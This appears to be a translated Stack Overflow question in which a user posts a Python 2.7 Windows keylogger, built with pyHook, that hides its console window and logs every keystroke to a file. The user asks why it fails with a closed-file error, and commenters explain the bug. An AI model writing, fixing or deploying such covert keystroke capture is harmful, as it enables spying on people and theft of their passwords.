【发布时间】:2014-12-20 13:09:33
【问题描述】:
所以我正在尝试制作键盘记录器(仅用于教育目的),这里是我的代码
#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os
log_file = "d:\control.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages()
运行代码后,我遇到了一些类似这样的错误
Traceback (most recent call last):
File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python278\logger.pyw", line 22, in pressed_chars
f.write(char) # (write char)
ValueError: I/O operation on closed file
我做到了,每当我按下字符“Q”时,程序就会结束记录击键。但是,如果我在第 19-20 行之间输入以下代码:“exit()”,程序可以正常工作,但在执行其他任何操作之前就退出了。我一直在尝试自己解决它,但我似乎无法让它按照我想要的方式工作。有任何想法吗?顺便使用 Python 2.7.8。
【问题讨论】:
-
if char=="q": f.close() [SNIP] f.write(char)。你发现问题了吗? -
如果日志文件关闭,我猜它不能写字符,对吧?
-
宾果游戏。要么在关闭文件之前写入字符,要么根本不写入。
标签: python python-2.7 keylogger